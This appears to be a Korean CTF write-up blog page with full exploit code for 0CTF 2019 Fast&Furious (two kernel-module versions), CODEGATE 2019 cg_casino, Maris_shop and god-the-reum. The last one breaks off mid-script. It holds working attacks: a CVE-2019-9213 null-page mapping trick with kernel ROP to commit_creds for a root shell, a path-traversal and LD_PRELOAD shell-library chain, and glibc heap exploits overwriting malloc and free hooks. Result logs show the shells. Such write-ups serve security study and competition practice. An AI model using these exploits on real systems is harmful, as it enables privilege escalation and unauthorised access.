Fast&Furious

Category : pwnable
Summary : kernel module, use-after-free, null page dereference, memory leak, CVE-2019-9213

Exploit

#include <sys/mman.h>
#include <err.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
//#define _GNU_SOURCE
#include <sched.h>
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <fcntl.h>
#include <unistd.h>
#include <signal.h>
#include <sys/user.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <stdint.h>


void *ptr;

uint64_t user_cs;
uint64_t user_ss;
uint64_t user_rflags;
uint64_t user_stack;

int
allocate_null_page (void)
{
  void *map = mmap ((void *) 0x10000, 0x1000, PROT_READ | PROT_WRITE,
            MAP_PRIVATE | MAP_ANONYMOUS | MAP_GROWSDOWN | MAP_FIXED,
            -1, 0);
  if (map == MAP_FAILED)
    err (1, "mmap");
  int fd = open ("/proc/self/mem", O_RDWR);
  if (fd == -1)
    err (1, "open");
  unsigned long addr = (unsigned long) map;
  while (addr != 0)
    {
      addr -= 0x1000;
      if (lseek (fd, addr, SEEK_SET) == -1)
    err (1, "lseek");
      char cmd[1000];
      sprintf (cmd, "LD_DEBUG=help busybox 1>&%d", fd);
      system (cmd);
    }
}

void
shell ()
{
  execl ("/bin/sh", "sh", 0);
}


void
save_state ()
{
  asm volatile ("movq %%cs, %0\n"
        "movq %%ss, %1\n"
        "movq %%rsp, %2\n"
        "pushfq\n"
        "popq %3\n":"=r" (user_cs), "=r" (user_ss), "=r" (user_stack),
        "=r" (user_rflags)::"memory");
}


#define PWN_WRITE    6
#define PWN_READ    66
#define PWN_EDIT    666
#define PWN_DELETE    6666

struct node
{
  char *data;
  uint64_t size;
};

struct obj
{
  uint64_t count;
  struct node n[16];
  int idx;
};

int
main ()
{
  char pay[0x300 * 4], tmp[0x100000];
  uint64_t leak, override_creds;
  uint64_t gg_pivot_stack, gg_commit_creds, gg_prepare_kernel_cred,
    gg_mov_cr4, gg_mov_cr0, gg_pop_rdi, gg_pop_rcx, gg_mov_rdi_rax, gg_swapgs,
    gg_iretq, gg_mov_cr3_rax, gg_mov_rax_cr3, gg_pop_rsi, gg_xor_rsi;
  uint64_t *null_page = 0, *rop, *rop2, *rop_base, *rop2_base;
  struct obj o;
  int fd;

  char *ll = mmap ((void *) 0xf60000, 0x1000, 7,
           MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);

  *ll = 0x90;

  allocate_null_page ();
  printf ("[+] null page allocated\n");

  fd = open ("/dev/pwn", 0);

  memset (pay, 'A', 0x300 * 4);

  /* note 0 (for kernel addr leak) */
  o.count = 1;
  o.n[0].data = pay;
  o.n[0].size = 8;

  ioctl (fd, PWN_WRITE, &o);

  o.count = 1;
  o.n[0].data = 0xdeadbeef;
  o.n[0].size = 8;
  o.idx = 0;

  ioctl (fd, PWN_EDIT, &o);

  /* note 1 */
  o.count = 4;
  o.n[0].data = pay;
  o.n[0].size = 0x300;
  o.n[1].data = pay;
  o.n[1].size = 0x300;
  o.n[2].data = pay;
  o.n[2].size = 0x300;
  o.n[3].data = pay;
  o.n[3].size = 0x300;

  ioctl (fd, PWN_WRITE, &o);

  o.count = 1;
  o.n[0].data = &leak;
  o.n[0].size = 8;
  o.idx = 0;

  ioctl (fd, PWN_READ, &o);
  printf ("[+] kernel addr leak : %p\n", leak);

  o.count = 4;
  o.n[0].data = 0xdeadbeef;
  o.n[0].size = 0x300;
  o.n[1].data = pay;
  o.n[1].size = 0x300;
  o.n[2].data = pay;
  o.n[2].size = 0x300;
  o.n[3].data = pay;
  o.n[0].size = 0x300;
  o.idx = 1;

  ioctl (fd, PWN_EDIT, &o);

  rop = pay + 8;

  rop2_base = calloc (0x1000, 1);
  rop2 = (uint64_t) rop2_base + 8;

  save_state ();

  gg_pivot_stack = leak + 0x31bcaf;
  gg_prepare_kernel_cred = leak - 0x1b61f0;
  gg_commit_creds = leak - 0x1b65a0;
  gg_pop_rdi = leak + 0x1ebd62;    //
  gg_mov_cr0 = leak - 0x1ff7fc;
  gg_mov_cr4 = leak - 0x24fb20;    //
  gg_pop_rcx = leak - 0x8410d;    //
  gg_mov_rdi_rax = leak - 0x2415b1;
  gg_swapgs = leak - 0x1ff70c;
  gg_iretq = leak - 0x2393a5;
  gg_mov_cr3_rax = gg_mov_cr4 + 0xbe0d09;
  gg_mov_rax_cr3 = gg_mov_cr4 + 0x50354;
  gg_pop_rsi = gg_mov_cr4 + 0xedde1;
  gg_xor_rsi = gg_mov_cr4 + 0x9c7f23;

  *rop++ = gg_pop_rdi;
  *rop++ = 0x6f0;
  *rop++ = gg_mov_cr4;
  *rop++ = 0;
  *rop++ = gg_pop_rdi;
  *rop++ = 0;

  *rop++ = gg_prepare_kernel_cred;
  *rop++ = gg_pop_rcx;
  *rop++ = 0;
  *rop++ = gg_mov_rdi_rax;
  *rop++ = 0;
  *rop++ = gg_commit_creds;

  *rop++ = gg_swapgs;
  *rop++ = 0;
  *rop++ = gg_mov_rax_cr3;
  *rop++ = 0;
  *rop++ = gg_pop_rsi;
  *rop++ = (1 << 12);
  *rop++ = gg_xor_rsi;

  *rop++ = gg_pop_rdi;
  *rop++ = rop2_base;

  *rop++ = gg_pivot_stack;

  *rop++ = gg_mov_cr3_rax;
  *rop++ = gg_iretq;
  *rop++ = shell;        // rip
  *rop++ = user_cs;        // cs
  *rop++ = user_rflags;        // rflags
  *rop++ = tmp + 0x4000;    //user_stack; //sp
  *rop++ = user_ss;        //ss

  *rop2++ = gg_mov_cr3_rax;
  *rop2++ = gg_iretq;
  *rop2++ = shell;        // rip
  *rop2++ = user_cs;        // cs
  *rop2++ = user_rflags;    // rflags
  *rop2++ = tmp + 0x4000;    //user_stack; //sp
  *rop2++ = user_ss;        //

  o.count = 4;
  o.n[0].data = pay;
  o.n[0].size = 0xf0;
  o.n[1].data = pay;
  o.n[1].size = 0x1;
  o.n[2].data = pay;
  o.n[2].size = 0x1;
  o.n[3].data = pay;
  o.n[3].size = 0x1;
  o.idx = 1;

  ioctl (fd, PWN_EDIT, &o);

  *null_page = gg_pivot_stack;


  /* escalate */
  o.count = 1;
  ioctl (fd, PWN_DELETE, &o);

  close (fd);
}

Result

$ ./startvm.sh
  ___   ____ _____ _____ _______ ____ _____ _____   ____   ___  _  ___
 / _ \ / ___|_   _|  ___/ /_   _/ ___|_   _|  ___| |___ \ / _ \/ |/ _ \
| | | | |     | | | |_ / /  | || |     | | | |_      __) | | | | | (_) |
| |_| | |___  | | |  _/ /   | || |___  | | |  _|    / __/| |_| | |\__, |
 \___/ \____| |_| |_|/_/    |_| \____| |_| |_|     |_____|\___/|_|  /_/

~ $ /exploit
[+] null page allocated
[+] kernel addr leak : 0xffffffff9be6ffa0
/home/pwn # id
uid=0(root) gid=0

'Research > Kernel' 카테고리의 다른 글

0CTF 2019 - Fast&Furious  (0) 2019.07.21
0CTF 2019 - Fast&Furious2  (0) 2019.07.21
Kernel study  (2) 2011.07.20

WRITTEN BY
pwn3r
포기하지 말자

트랙백  0 , 댓글  0개가 달렸습니다.
secret

Fast&Furious

Category : pwnable
Summary : kernel module, use-after-free, null page dereference, memory leak, race condition

Exploit

#include <sys/mman.h>
#include <err.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#define _GNU_SOURCE
#include <sched.h>
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <fcntl.h>
#include <unistd.h>
#include <signal.h>
#include <sys/user.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <stdint.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>



void *ptr;

uint64_t user_cs;
uint64_t user_ss;
uint64_t user_rflags;
uint64_t user_stack;

int32_t m_flag = 1;

int allocate_null_page(void) {
  void *map = mmap((void*)0x10000, 0x1000, PROT_READ|PROT_WRITE,
                   MAP_PRIVATE|MAP_ANONYMOUS|MAP_GROWSDOWN|MAP_FIXED, -1, 0);
  if (map == MAP_FAILED) err(1, "mmap");
  int fd = open("/proc/self/mem", O_RDWR);
  if (fd == -1) err(1, "open");
  unsigned long addr = (unsigned long)map;
  while (addr != 0) {
    addr -= 0x1000;
    if (lseek(fd, addr, SEEK_SET) == -1) err(1, "lseek");
    char cmd[1000];
    sprintf(cmd, "LD_DEBUG=help busybox 1>&%d", fd);
    system(cmd);
  }
}

void save_state(){
        asm volatile(
                "movq %%cs, %0\n"
                "movq %%ss, %1\n"
                "movq %%rsp, %2\n"
                "pushfq\n"
                "popq %3\n"
                : "=r" (user_cs), "=r" (user_ss), "=r" (user_stack), "=r" (user_rflags) :: "memory"
        );
}

void shell(){
    execl("/bin/sh", "sh", 0);
}

#define FIRST_NOTE     176

#define PWN_WRITE    6
#define PWN_READ    66
#define PWN_EDIT    666
#define PWN_DELETE    6666

struct node{
    char *data;
    uint64_t size;
};

struct obj{
    uint64_t count;
    struct node n[16];
    int idx;
};

void *usleep_mmap(void *addr){
    m_flag = 1;
    while(m_flag){
        mmap(*(uint64_t *)addr, 0x1000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0);
        usleep(5);
        munmap(*(uint64_t *)addr, 0x1000);
        usleep(5);
    }
}

int is_null(char *ptr, size_t size){
  int i;
  for(i=0;i<size;i++) if(ptr[i] != '\x00') return 0;
  return 1;
}

int is_leaked(char *ptr, size_t size){
  int i;
  for(i=0;i<size-3;i++) if(*(uint32_t *)(ptr+i) == 0xffffffff) return 1;
  return 0;
}

int main()
{

    uint8_t pay[0x1000], leak_buf[FIRST_NOTE], tmp[0x100000];
    uint64_t *null_page = 0, *rop, *rop2, *rop_base, *rop2_base, *ghost_mem;
    uint64_t kernel_leak, gg_pivot_stack, gg_commit_creds, gg_prepare_kernel_cred, gg_mov_cr4, gg_mov_cr0, gg_pop_rdi, gg_pop_rcx, gg_mov_rdi_rax, gg_swapgs, gg_iretq, gg_mov_cr3_rax, gg_mov_rax_cr3, gg_pop_rsi, gg_xor_rsi;
    struct obj o;
    int64_t fd, status, i, cnt = 0;
    pthread_t thread_t;

    allocate_null_page();
    printf("[+] null page allocated\n");

    fd = open("/dev/pwn", 0);

    while(cnt < 16 && !is_leaked((uint64_t)leak_buf, FIRST_NOTE-1)){
        memset(pay, 'A', sizeof(pay));
        memset(leak_buf, 0, sizeof(leak_buf));

        o.count = 1;
        o.n[0].data = pay;
        o.n[0].size = FIRST_NOTE;
        ioctl(fd, PWN_WRITE, &o);

        ghost_mem = 0xcafe0000;

        o.count = 3;
        o.n[0].data = pay;
        o.n[0].size = FIRST_NOTE-1;
        o.n[1].data = ghost_mem;
        o.n[1].size = 1;
        o.n[2].data = leak_buf;
        o.n[2].size = FIRST_NOTE-1;
        o.idx = cnt;

        pthread_create(&thread_t, NULL, usleep_mmap, (void *)&ghost_mem);
        do{
            ioctl(fd, PWN_READ, &o);
        }while(is_null((uint64_t)leak_buf, FIRST_NOTE-1));

        m_flag = 0;
        pthread_join(thread_t, (void **)&status);

        cnt += 1;
    }

    kernel_leak = *(uint64_t *)(leak_buf + 0x30);

    if(cnt == 16 || (kernel_leak & 0xffff) != 0xa6b0){
        puts("[-] kernel addr leak failed :(");
        exit(-1);
    }

    printf("[+] kernel addr leak : %p\n", kernel_leak);

    save_state();

    rop = pay + 8;

    rop2_base = calloc(0x1000, 1);
    rop2 = (uint64_t)rop2_base + 8;

    kernel_leak -= 0x41a710;

    gg_pivot_stack = kernel_leak + 0x31bcaf;
    gg_prepare_kernel_cred = kernel_leak - 0x1b61f0;
    gg_commit_creds = kernel_leak - 0x1b65a0;
    gg_pop_rdi = kernel_leak + 0x1ebd62; //
    gg_mov_cr0 = kernel_leak - 0x1ff7fc;
    gg_mov_cr4 = kernel_leak - 0x24fb20; //
    gg_pop_rcx = kernel_leak - 0x8410d; //
    gg_mov_rdi_rax = kernel_leak - 0x2415b1;
    gg_swapgs = kernel_leak - 0x1ff70c;
    gg_iretq = kernel_leak - 0x2393a5;
    gg_mov_cr3_rax = gg_mov_cr4 + 0xbe0d09;
    gg_mov_rax_cr3 = gg_mov_cr4 + 0x50354;
    gg_pop_rsi = gg_mov_cr4 + 0xedde1;
    gg_xor_rsi = gg_mov_cr4 + 0x9c7f23;

    *rop++ = gg_pop_rdi;
    *rop++ = 0x6f0;
    *rop++ = gg_mov_cr4;
    *rop++ = 0;
    *rop++ = gg_pop_rdi;
    *rop++ = 0;

    *rop++ = gg_prepare_kernel_cred;
    *rop++ = gg_pop_rcx;
    *rop++ = 0;
    *rop++ = gg_mov_rdi_rax;
    *rop++ = 0;
    *rop++ = gg_commit_creds;

    *rop++ = gg_swapgs;
    *rop++ = 0;
    *rop++ = gg_mov_rax_cr3;
    *rop++ = 0;
    *rop++ = gg_pop_rsi;
    *rop++ = (1 << 12);
    *rop++ = gg_xor_rsi;


    *rop++ = gg_pop_rdi;
    *rop++ = rop2_base;

    *rop++ = gg_pivot_stack;

    *rop++ = gg_mov_cr3_rax;
    *rop++ = gg_iretq;
    *rop++ = shell; // rip
    *rop++ = user_cs; // cs
    *rop++ = user_rflags; // rflags
    *rop++ = tmp + 0x4000; //user_stack; //sp
    *rop++ = user_ss; //ss

    *rop2++ = gg_mov_cr3_rax;
    *rop2++ = gg_iretq;
    *rop2++ = shell; // rip
    *rop2++ = user_cs; // cs
    *rop2++ = user_rflags; // rflags
    *rop2++ = tmp + 0x4000; //user_stack; //sp
    *rop2++ = user_ss; //

    /* remove note 0 */
    o.count = 0;
    ioctl(fd, PWN_DELETE, &o);

    /* note 0 */
    o.count = 1;
    o.n[0].data = pay;
    o.n[0].size = 0x1f0;

    ioctl(fd, PWN_WRITE, &o);

       /* note 0 */
    o.count = 1;
    o.n[0].data = 0xdeadbeef;
    o.n[0].size = 0x1f0;
    o.idx = 0;

    ioctl(fd, PWN_EDIT, &o);

       /* note 0 */
    o.count = 1;
    o.n[0].data = pay;
    o.n[0].size = 0x1f0;
    o.idx = 0;

    ioctl(fd, PWN_EDIT, &o);


    *null_page = gg_pivot_stack;

    /* escalate */
    o.count = 0;
    ioctl(fd, PWN_DELETE, &o);

    close(fd);
}

Result

$ ./startvm.sh
  ___   ____ _____ _____ _______ ____ _____ _____   ____   ___  _  ___
 / _ \ / ___|_   _|  ___/ /_   _/ ___|_   _|  ___| |___ \ / _ \/ |/ _ \
| | | | |     | | | |_ / /  | || |     | | | |_      __) | | | | | (_) |
| |_| | |___  | | |  _/ /   | || |___  | | |  _|    / __/| |_| | |\__, |
 \___/ \____| |_| |_|/_/    |_| \____| |_| |_|     |_____|\___/|_|  /_/

~ $ /exploit
[+] null page allocated
[+] kernel addr leak : 0xffffffffa368a6b0
/home/pwn # id
uid=0(root) gid=0

'Research > Kernel' 카테고리의 다른 글

0CTF 2019 - Fast&Furious  (0) 2019.07.21
0CTF 2019 - Fast&Furious2  (0) 2019.07.21
Kernel study  (2) 2011.07.20

WRITTEN BY
pwn3r
포기하지 말자

트랙백  0 , 댓글  0개가 달렸습니다.
secret

Category : pwnable


Summary : stack bof, LD_PRELOAD, /proc/self/environ



가장 흥미로웠던 문제라 이놈만 풀이 작성.



Concept


casino를 concept으로 한 간단한 random game binary. 아래와 같이 5개 기능이 있다.


 





Vulnerability



(1) Stack overflow



user_input 함수는 argument인 ptr이 가리키는 공간의 크기를 고려하지 않고 개행문자(\n)가 들어올 때까지 무한정 입력받기 때문에 buffer overflow가 발생한다.



취약한 user_input 함수로 main 함수의 지역변수(voucher, old_voucher)에 입력을 받아 stack buffer overflow가 발생하지만, main 함수가 return을 하지 않아 sfp / ret 를 덮는 방식으로는 exploit 이 불가능하다.




(2) Memory leak (from uninitialized variable)




lotto menu 를 이용할 땐 사용자에게 입력받은 숫자가 <= 44  인지 검사한다. 

"%u" 포맷스트링으로 사용자에게 숫자를 입력받는데, 'A'와 같이 포맷에 맞지 않는 값이 들어오면 scanf 함수는 실패하고 &v12[v1]는 uninitialized variable이 된다. 만약 &v12[v1] 에 있는 쓰레기 값이 memory address라면 (보통) 44보다 크므로 printf로 출력하게 된다. -> memory leak


$ ./cg_casino
.............
GUESS 6 Numbers!
===================
| | | | | | |
===================
1
2
A
2335601000 : out of range
3
B
32646 : out of range
4
^C
$ python
>>> hex((32646 << 32) + 2335601000)
'0x7f868b367168' # stack leak
위 취약점을 이용하여 stack address leak 이 가능하다.


(3) Path traversal



merge voucher 기능은 사용자에게 old voucher path를 입력받아 current voucher path에 덮어씌운다.

strlen(old_voucher) == 32 만 만족하면 사실상 mv [old_voucher] [voucher]과 동일한 기능이다.


$ ./cg_casino
$$$$$$$$$$$$$$$$$$$$$$$$$$$
$$$$$$$ CG CASINO $$$$$$$
$$$$$$$$$$$$$$$$$$$$$$$$$$$
1) put voucher
2) merge voucher
3) lotto
4) up down game
5) slot machine
6) exit
> 1
input voucher : pwn3r_45
1) put voucher
2) merge voucher
3) lotto
4) up down game
5) slot machine
6) exit
> 2
input old voucher : ../../..//////////////etc/passwd # length must be 32bytes
1) put voucher
2) merge voucher
3) lotto
4) up down game
5) slot machine
6) exit
> ^C
$ cat voucher/pwn3r_45
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
.................

일반적인 환경이었다면 이 기능을 이용해 .bashrc 나 .bash_profile을 덮어씌우는 등 여러가지 공격을 시도했겠지만, docker 설정에서 /home/cg_casino/voucher/ 말고는 write permission을 제거했기 때문에 딱히 덮어쓸 수 있는 파일이 없다.



Trick


위에서 말했듯 stack bof로 sfp / ret 를 덮는 공격을 할 수 없다. 그렇다면 어떻게 exploit 할 수 있을까?


(1) LD_PRELOAD


길이 제한이 없는 overflow이므로 main stack frame 보다 뒤(높은 주소)에 있는 argv, envp도 덮어쓸 수 있다. slot game 기능에서 system 함수를 부른다는 것을 보고 envp 영역을 덮어써서 LD_PRELOAD를 이용하는 방법이 떠올랐다.


 


LD_PRELOAD 환경변수를 설정하면 system 함수가 내부적으로 execve("/bin/sh", "-c", "/usr/bin/clear"); 를 실행하는 시점에 LD_PRELOAD에 설정된 library file을 로드시켜 /bin/sh 의 라이브러리 함수를 hooking 한다.


이제 어떠한 library file을 로드시킬지가 문제이다. 사용자가 서버에 file을 생성할 수 있는 기능은 없지만, merge voucher 기능을 잘 이용하면 library file을 생성할 수 있다.



(2) /proc/self/environ


/proc/[pid]/environ은 해당 process의 envp영역을 보여준다. 정확히는 &envp[0][0] ~ stack top까지의 영역을 보여주는 것이다. &envp[0][0]을 덮어쓰면 당연히 /proc/[pid]/environ에도 반영된다.

$ cat ooo.c 
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
puts("before");
getchar();

memcpy(&envp[0][0], "45454545", 8);

puts("after");
getchar();
}
$ ./ooo
before

$ xxd /proc/`pidof ooo`/environ |head -3
00000000: 5844 475f 5654 4e52 3d37 0058 4447 5f53 XDG_VTNR=7.XDG_S
00000010: 4553 5349 4f4e 5f49 443d 6332 0056 4952 ESSION_ID=c2.VIR
00000020: 5455 414c 454e 5657 5241 5050 4552 5f53 TUALENVWRAPPER_S

$ fg
after

$ xxd /proc/`pidof ooo`/environ |head -3
00000000: 3435 3435 3435 3435 3d37 0058 4447 5f53 45454545=7.XDG_S
00000010: 4553 5349 4f4e 5f49 443d 6332 0056 4952 ESSION_ID=c2.VIR
00000020: 5455 414c 454e 5657 5241 5050 4552 5f53 TUALENVWRAPPER_S

envp 영역도 stack buffer overflow로 덮어쓸 수 있는 영역이기 때문에 envp영역에 library file을 덮어버리면 /proc/self/environ은 하나의 ELF file처럼 만들어줄 수 있다. 하지만 /proc/self/environ은 일반 file이 아니기 때문에 LD_PRELOAD=/proc/self/environ으로 직접 로드시킬 수 없다.


하지만 merge voucher 기능으로 /home/cg_casino/voucher/ 에 복사시키고 LD_PRELOAD에 경로를 설정해주면 정상적으로 로드시킬 수 있다.



(3) Tiny so file


#include <sys/syscall.h>

void __libc_start_main(){
execve("/bin/sh", 0, 0);
}

void execve(char *path, char **argv, char **envp){
asm volatile ("syscall" :: "a"(SYS_execve));
}


__libc_start_main 함수를 hooking하여 /bin/sh를 실행하도록 하는 library file을 만들었다. 


pwn3r@ubuntu:~$ gcc -w -fPIC -shared -o run_shell.so ./run_shell.c pwn3r@ubuntu:~$ export LD_PRELOAD=`pwd`/run_shell.so pwn3r@ubuntu:~$ /usr/bin/clear $


주어진 환경에서 /proc/self/environ의 크기는 약 3434byte 정도이기 때문에 기존 run_shell.so (8120byte)의 크기를 줄여야한다. (접속하는 IP가 REMOTE_HOST 환경변수에 들어가기 때문에 3434byte에서 차이가 발생할 수 있음) library file을 compile할 때 -znorelro -s -nostdlib등의 옵션을 붙여주면 크기를 줄일 수 있다.


$ gcc -w -fPIC -shared -o run_shell.so run_shell.c
$ ls -l run_shell.so
-rwxrwxr-x 1 pwn3r pwn3r 8120 Jan 30 17:36 run_shell.so

$ gcc -w -znorelro -s -fPIC -shared -nostdlib -o run_shell.so run_shell.c
$ ls -l run_shell.so
-rwxrwxr-x 1 pwn3r pwn3r 2432 Jan 30 17:37 run_shell.so


마지막으로 user_input함수는 '\n'까지만 입력받기 때문에 run_shell.so 에서 '\n'을 다른 값으로 치환해야 한다. 단순하게 file data에서 '\n' -> '\x0b'로 치환해봤는데 정상적으로 로드가 되어 그대로 사용했다. (다행히 ELF format에 영향을 미치지 않는 값이 아니었던 듯)


>>> with open("run_shell.so", "rb") as f:
...     data = f.read()
... 
>>> with open("run_shell.so", "wb") as f:
...     f.write(data.replace('\n', '\x0b'))
...
>>>



Exploit

#!/usr/bin/python

from pwn import *

def set_voucher(voucher):
global s
s.recvuntil('> ')
s.sendline('1')
s.recvuntil('input voucher : ')
s.sendline(voucher)

def copy_voucher(old_voucher):
global s
s.recvuntil('> ')
s.sendline('2')
s.recvuntil('input old voucher : ');
s.sendline(old_voucher)

def lotto(*nums):
global s
s.recvuntil('> ')
s.sendline('3')
s.recvuntil('===================\n')
s.recvuntil('===================\n')
for num in range(nums):
s.sendline(str(num))

def stack_leak():
global s
s.recvuntil('> ')
s.sendline('3')
s.recvuntil('===================\n')
s.recvuntil('===================\n')
s.sendline('1')
s.sendline('2')

s.sendline('a')
lo = int(s.recvline().split(' : ')[0])
s.sendline('3')

s.sendline('b')
hi = int(s.recvline().split(' : ')[0])
s.sendline('4')
s.sendline('5')
s.sendline('6')
s.recvuntil('maybe next time\n')
return hi << 32 | lo

def slot():
global s
s.recvuntil('> ')
s.sendline('5')
s.recvuntil('press any key\n')
s.sendline()
if s.recvline(timeout=4) == '':
s.interactive()

s = remote('110.10.147.113', 6677)
#s = remote('0', 6677)

user_voucher = 'pwn3r_45.so'
set_voucher(user_voucher)
stack = stack_leak()

buf = stack + 0x40
print hex(stack)

with open('run_shell.so') as f:
fake_so = f.read()

for i in range(3):
stack_top = (stack & 0xfffffffffffff000) + 0x1000 * (i+1)
env_start = stack_top - 3456 - len('X.XXX.XXX.XXX')

pay = user_voucher
pay = pay.ljust(0x80, '\x00')
pay += 'LD_PRELOAD=/home/cg_casino/voucher/{}\x00'.format(user_voucher)
pay = pay.ljust(0x158, '\x00')
pay += p64(buf + 0x80)
pay = pay.ljust(env_start - buf, '\x00')
pay += fake_so

set_voucher(pay.split('\n')[0])

copy_voucher('../../..///////proc/self/environ')
slot()


s.interactive()
s.close()


$ python exploit.py
[+] Opening connection to 110.10.147.113 on port 6677: Done
0x7ffe12221390
[*] Switching to interactive mode
$ id
uid=1000(cg_casino) gid=1000(cg_casino) groups=1000(cg_casino)



'CTF' 카테고리의 다른 글

CODEGATE 2019 QUAL - cg_casino  (1) 2019.01.31
CODEGATE 2019 QUAL - Maris_shop  (0) 2019.01.31
CODEGATE 2019 QUAL - god-the-reum  (0) 2019.01.29
33C3 CTF - grunt  (0) 2018.12.14
33C3 CTF - tea  (0) 2018.12.14
33C3 CTF - rec  (0) 2018.12.14

WRITTEN BY
pwn3r
포기하지 말자

트랙백  0 , 댓글  1개가 달렸습니다.
  1. 관리자의 승인을 기다리고 있는 댓글입니다
secret

Category : pwnable


Summary : use-after-free, unsorted bin attack, _IO_buf_end




Exploit

#!/usr/bin/python

from pwn import *

def cmd_add(amount, target=None):
global inventory
choice = 0
ru('choice:')
sl(str(1))
rl()
for i in range(0, 6):
line = rl(False).split('---- ')
name = line[0][3:].strip()
price = int(line[1])
if target:
if target == name:
choice = i + 1
break
else:
continue
else:
if inventory and name in inventory:
continue
else:
inventory.append(name)
choice = i + 1
break
ru('Which item?:')
sl(str(choice))

if choice:
ru(':')
sl(str(amount))
return 1
else:
ru('No such item!\n')
return 0

def cmd_remove(idx):
ru('choice:')
sl(str(2))
ru('Which item?:')
sl(str(idx))

def cmd_show(idx):
ru('choice:')
sl(str(3))
ru('choice:')
sl(str(1))
ru('item?:')
sl(str(idx))
ru('Name: ')
name = rl(False).strip()
ru('Price: ')
price = int(rl(False))
ru('Amount: ')
amount = int(rl(False))
return name, price, amount

def cmd_buy(idx):
ru('choice:')
sl(str(4))
ru('choice:')
if idx == -1:
sl(str(2))
ru('Do you want to clear your cart?')
sl(str('1'))

else:
sl(str(1))
ru('Which item?:')
sl(str(idx))


#s = process('./maris_shop')
s = remote('110.10.147.102', 7767)
ru = s.recvuntil
rl = s.recvline
rr = s.recv
sl = s.sendline
ss = s.send

inventory = []

####### manipulate user money #######
cmd_add(-0xffffff)
cmd_buy(0)
######################################

########### fill inventory ###########
for i in range(0, 16):
while not cmd_add(1): pass
cmd_remove(i)
inventory.pop()
while not cmd_add(1): pass
cmd_buy(0)
while not cmd_add(1): pass
######################################

############# trigger UAF ############
cmd_buy(-1) # free all
inventory = inventory[-1:]
######################################

# 15 | dummy | 0 | dummy | 1 | dumm | 2 | dumm | .....

############ memory leak #############
name, _, libc_leak = cmd_show(15)

libc_base = libc_leak - 0x3c4b78
libc_stdin_buf_end = libc_base + 0x3c4920
libc_realloc_n = libc_base + 0x0846D0
'''
.text:00000000000846D4 mov rax, cs:__realloc_hook_ptr
.text:00000000000846DB mov rax, [rax]
.text:00000000000846DE test rax, rax
.text:00000000000846E1 jnz loc_848E8

.text:00000000000848E8 mov rdx, [rsp+68h]
.text:00000000000848ED call rax
'''

libc_one_gadget = libc_base + 0x4526a
'''
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
'''

_IO_stdfile_0_lock = libc_base + 0x3c6790
_IO_wide_data_0 = libc_base + 0x3c49c0
_IO_file_jumps = libc_base + 0x3c36e0
_IO_wfile_jumps = libc_base + 0x3c3260
print hex(libc_base)
########################################

########### unsorted bin attack ########
for i in range(14):
while not cmd_add(1) : pass

amount = (libc_stdin_buf_end - 0x10) - libc_leak
while not cmd_add(amount, target=name) : pass

while not cmd_add(1) : pass
########################################

##### overwrite __malloc_hook && trigger ######
choice = 0
first_chance = True
while not choice:
ru('choice:')
if first_chance:
pay = ''
pay += '1\x00\x00\x00\x00'
pay += p64(_IO_stdfile_0_lock) + p64(0xffffffffffffffff)
pay += p64(0) + p64(_IO_wide_data_0)
pay += p64(0) + p64(0)
pay += p64(0) + p64(0xffffffff)
pay += p64(0) + p64(0)
pay += p64(_IO_file_jumps) + p64(0)
pay += (p64(0) + p64(0)) * 18
pay += p64(0) + p64(_IO_wfile_jumps)
pay += p64(0) + p64(0)
pay += p64(libc_one_gadget) + p64(libc_realloc_n) # __realloc_hook / __malloc_hook
sl(pay)
else:
sl(str(1))
rl()
choice = 0
for i in range(0, 6):
line = rl(False).split('---- ')
name = line[0][3:].strip()
price = int(line[1])
if inventory and name in inventory:
continue
else:
choice = i + 1
break
ru('Which item?:')
sl(str(choice))

if choice:
s.interactive()
##################################################
s.close()


$ python exploit.py
[+] Opening connection to 110.10.147.102 on port 7767: Done
0x7f29b6411000
[*] Switching to interactive mode
$ id
uid=1000(mari) gid=1000(mari) groups=1000(mari)

'CTF' 카테고리의 다른 글

CODEGATE 2019 QUAL - cg_casino  (1) 2019.01.31
CODEGATE 2019 QUAL - Maris_shop  (0) 2019.01.31
CODEGATE 2019 QUAL - god-the-reum  (0) 2019.01.29
33C3 CTF - grunt  (0) 2018.12.14
33C3 CTF - tea  (0) 2018.12.14
33C3 CTF - rec  (0) 2018.12.14

WRITTEN BY
pwn3r
포기하지 말자

트랙백  0 , 댓글  0개가 달렸습니다.
secret

Category : pwnable


Summary : use-after-free, tcache, __free_hook




Exploit

#!/usr/bin/python

from pwn import *

def cmd_create(amount):
ru(': ')
sl(str(1))
ru(': ')
sl(str(amount))

def cmd_deposit(wallet_no, amount):
ru(': ')
sl(str(2))
ru(': ')
sl(str(wallet_no))
ru(': ')
sl(str(amount))

def cmd_withdraw(wallet_no, amount):
ru(': ')
sl(str(3))
ru(': ')
sl(str(wallet_no))
ru(': ')
sl(str(amount))

def cmd_show():
res = []
ru(': ')
sl(str(4))
ru('========== My Wallet List =============\n')
while 1:
line = rl(False)
if line == '':
break
res.append(int(line.split('ballance ')[1]))
return res

def cmd_new_eth(wallet_no, new_eth):
ru(': ')
sl(str(6))
ru(': ')
sl(str(wallet_no))
ru(': ')
sl(new_eth)

s = process('./god-the-reum')
#s = remote('110.10.147.103', 10001)
ru = s.recvuntil
rl = s.recvline
rr = s.recv
sl = s.sendline
ss = s.send

cmd_create(0x420) # 0
cmd_create(0x50) # 1

cmd_withdraw(0, 0x420) # free
cmd_withdraw(1, 0x50) # free

libc_leak, _= cmd_show()
libc_base = libc_leak - 0x3ebca0
malloc_hook = libc_base + 0x3ebc30
free_hook = libc_base + 0x3ed8e8
libc_one_gadget = libc_base + 0xe569f

cmd_new_eth(1, p64(free_hook))
# (0x60) tcache_entry[4]: 0x5623649f77b0 --> 0x7f51275e38e8

cmd_create(0x50) # 2
